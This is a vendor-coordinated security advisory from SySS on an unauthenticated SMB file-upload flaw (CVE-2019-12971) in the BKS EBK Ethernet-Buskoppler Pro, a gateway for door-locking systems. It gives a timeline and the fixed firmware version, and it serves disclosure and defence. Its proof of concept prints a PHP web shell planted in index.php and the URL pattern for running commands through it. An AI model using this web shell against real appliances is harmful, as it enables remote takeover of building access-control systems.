BKS EBK Ethernet-Buskoppler Pro Shell Upload

2019.07.05
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2019-017 Product: BKS EBK Ethernet-Buskoppler Pro Manufacturer: BKS GmbH Affected Version(s): < 3.01 Vulnerability Type: Unrestricted Upload of File with Dangerous Type (CWE-434) Risk Level: High Solution Status: Fixed Manufacturer Notification: April 23, 2019 Solution Date: June 14, 2019 Public Disclosure: July 03, 2019 CVE Reference: CVE-2019-12971 Author of Advisory: Sebastian Auwaerter, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The "EBK Ethernet-Buskoppler Pro" appliance provided by BKS GmbH is a gateway to communicate with the access terminals of BKS locking systems. The appliance is generally attached to a company's IP-based network and communicates with the locking systems via a proprietary bus system. Due to an unauthenticated upload functionality through Samba, the BKS Ethernet-Buskoppler Pro is vulnerable to remote code execution. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: An unauthenticated attacker can connect to an Ethernet-Buskoppler Pro using any client that supports uploading files via SMB (e.g. smbclient, Nautilus, Windows Explorer) and overwrite files located in the web root directory of the appliance. After adding a web shell to any of the existing PHP scripts, the attacker can execute it by accessing the edited script via the web server listening on the TCP port 443. According to BKS, only Appliances based on a Raspberry Pi 3 are affected since the vulnerability has been introduced during an upgrade from Raspberry Pi 2 to 3. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): As proof-of-concept, the file index.php can be altered via SMB (e.g. gedit smb://<VULNERABLE_HOST>/webinterface/index.php) to allow a web shell in the context of the user account www-data: - ---------------- index.php: <?php if ($_REQUEST['pw'] === "very-secure-password"){ system($_REQUEST['cmd']); } set_include_path('/var/www/ebkpro_website'); include 'include/debug.php'; [...] - ---------------- The web shell can then be used to execute commands by navigating to the following URL: http://<VULNERABLE_HOST>:80/index.php?pw=very-secure-password&cmd=<COMMAND> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: BKS provides update packages for the EBK Ethernet-Buskoppler. The updater in version 1.2.1.2 contains firmware version 3.01 which fixes the vulnerability. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2019-04-10: Vulnerability discovered 2019-04-23: Vulnerability reported to manufacturer 2019-06-14: Patch released by manufacturer 2019-07-03: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] SySS Security Advisory SYSS-2019-017 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-017.txt [2] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Sebastian Auwaerter of SySS GmbH. E-Mail: sebastian.auwaerter@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sebastian_Auwaerter.asc Key Fingerprint: F98C 3E12 6713 19D9 9E2F BE3E E9A3 0D48 E2F0 A8B6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEE+Yw+EmcTGdmeL74+6aMNSOLwqLYFAl0bAL4ACgkQ6aMNSOLw qLZv5xAAmcFcqsdPSPdqFNAJyBNIfKr0scJo/j1jtZLWE7rW/Z9j3WHLpaOEuir9 n6K1NkMnidA1MxSnagwbYH4c4DDjINhucN93U8r4kZ0NIBbvXIzso2Jq0f/2rl2h GxADzm7d2Z35zNL4CLsqQ6t/ufE9tluLx8kGPEeGkZ/6rZa+ie6MsMyiy6cdccGr Fxk1/vWaWLHE3qTSJb8Zz+72nBl4GmZvNlGmBkIIw9/xu0A2DyepZsSv3Uzvh43j fTHs+vpldq+BZ3PLb8ugJmIgK0JrLKyvnCf4TgmZ2XZ1vNtcRtMnwhy6QB6aherc s+M9KYWI2UfF6VX5P0dr2hLdPFrmoCg5QKJrbK3P8bVYWuYdm9sWuCaeE0qYrk9a Q7ohGI9F9HTZJBeQVfN0LQVINrHOXqZ9e1yMULtEUHyJCo3RQko98Dx0THv6lSDO 6a5Hl4UlqyOupbZDOdzmEnoZdCEHd8NgiA2ozCmyvD5bfQcqDyeZDq//IJJXv5d5 KB96twyuYR+PkmcJP89zBREbs0+v4aPXE50yFFAqhDwHfKs8cvQC+t+VqMEN2SFd IOFjBl9oXcu+2bmgcJ8Ob0Qli2FPP7JF0ern+5pLLp1zGBR+QneKPNqVGCNfciAL 1T7Db1u1HE9cmSit5gaqLMPodqmXyifqDRfj9fK1obgPx01GFLY= =JGkX -----END PGP SIGNATURE-----


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